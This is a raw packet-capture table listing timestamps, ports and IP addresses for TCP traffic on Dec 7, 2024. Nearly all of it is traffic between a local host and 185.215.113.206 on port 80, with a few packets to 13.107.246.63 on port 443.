Dec 7, 2024 15:06:17.062736034 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.063555002 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.063608885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.063654900 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.063694000 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.064604998 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.064666033 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.064707994 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.064754963 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.065342903 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.065409899 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.065417051 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.065464973 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.065648079 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.066195965 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.066253901 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.066287041 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.066334963 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.067262888 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.067317009 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.067327976 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.067365885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.068028927 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.068085909 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.068167925 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.068214893 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.068989992 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.069047928 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.069078922 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.069123030 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.069859982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.069912910 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.069987059 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.070044041 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.070780993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.070841074 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.070888042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.070936918 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.071760893 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.071775913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.071856022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.071856022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.072766066 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.072812080 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.072844028 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.072885990 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.073573112 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.073632002 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.073734045 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.073786974 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.074450016 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.074511051 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.074554920 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.074603081 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.075460911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.075531006 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.075675011 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.075723886 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.076333046 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.076390982 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.076427937 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.076472998 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.077229977 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.077279091 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.077342033 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.077387094 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.078309059 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.078377962 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.078454018 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.078493118 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.079036951 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.079082966 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.105986118 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.106090069 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.106158972 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.106158972 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.106478930 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.106528997 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.106544971 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.106625080 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.107374907 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.107387066 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.107422113 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.107445955 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.108242035 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.108297110 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.108331919 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.108377934 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.109122992 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.109184980 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.109227896 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.109277010 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.110042095 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.110090971 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.110131025 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.110177040 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.110954046 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.111006975 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.111015081 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.111063004 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.174357891 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.174443007 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.174520969 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.174520969 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.174711943 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.174756050 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.174804926 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.174851894 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.175627947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.175683022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.175978899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.176026106 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.176063061 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.176115036 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.176902056 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.176954985 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.177071095 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.177119017 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.177858114 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.177908897 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.177947044 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.177994967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.178772926 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.178826094 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.178842068 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.178889990 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.179656982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.179707050 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.179774046 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.179821968 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.180613041 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.180649996 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.180664062 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.180691957 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.181715012 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.181763887 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.181883097 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.181934118 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.182869911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.182923079 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.183033943 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.183084011 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.190459967 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.192967892 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.238399029 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.238459110 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.238591909 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.238591909 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.238847017 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.238902092 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.239130974 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.239177942 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.239770889 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.239821911 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.240097046 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.240144014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.240179062 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.240226984 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.240994930 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.241044998 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.241108894 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.241158962 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.241965055 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.242027044 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.242047071 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.242094040 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.242919922 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.242959976 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.242968082 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.243005037 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.243788958 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.243834972 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.243870020 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.243920088 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.244688034 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.244734049 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.244803905 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.244853020 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.245630026 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.245680094 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.245742083 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.245784998 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.246517897 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.246567965 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.246654034 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.246699095 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.247462988 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.247509956 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.247546911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.247591019 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.248364925 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.248414993 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.248486996 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.248538971 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.249303102 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.249351978 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.249389887 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.249430895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.250241995 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.250291109 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.250328064 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.250375032 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.251173973 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.251224041 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.251296043 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.251346111 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.252063990 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.252115965 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.252166033 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.252213955 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.252989054 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.253036976 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.253139973 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.253191948 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.253911972 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.253961086 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.254014015 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.254060030 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.254812002 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.254857063 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.254910946 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.254961967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.255738974 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.255783081 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.255942106 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.255987883 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.256675005 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.256732941 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.256784916 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.256834984 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.257636070 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.257697105 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.257730007 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.257776022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.258927107 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.258980989 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.259089947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.259135008 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.259886026 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.259938002 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.259968042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.260015965 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.260518074 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.260565042 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.260624886 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.260673046 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.261236906 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.261284113 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.261363983 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.261411905 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.262212038 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.262259960 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.262319088 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.262367010 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.263112068 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.263164997 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.263230085 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.263274908 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.264049053 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.264096022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.264127016 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.264173985 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.264955997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.265031099 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.265041113 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.265084028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.265589952 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.265636921 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.265661955 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.265707016 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.265844107 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.265887976 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.266024113 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.266066074 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.266875982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.266927004 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.266995907 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.267040014 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.267695904 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.267739058 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.267776966 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.267817974 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.268671036 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.268727064 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.268769979 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.268810987 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.269603968 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.269660950 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.269762039 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.269804955 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.270484924 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.270540953 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.270576954 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.270673990 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.271387100 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.271437883 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.292180061 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.292252064 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:17.298261881 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.298291922 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.298331022 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.298360109 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.298367023 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.298405886 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.298455000 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.298499107 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.299104929 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.299196959 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.299206972 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.299246073 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.300131083 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.300208092 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.300307989 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.300353050 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.300952911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.301076889 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.301106930 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.301117897 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.301980019 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.302022934 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.302090883 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.302128077 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.302783966 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.302840948 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.302884102 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.302917004 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.303633928 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.303685904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.355679035 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:17.366539001 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.366563082 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.366594076 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.366619110 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.367003918 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.367053986 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.367093086 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.367137909 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:17.367964983 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.367996931 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:17.368046999 CET	49706	80	192.168.2.8	185.215.113.206
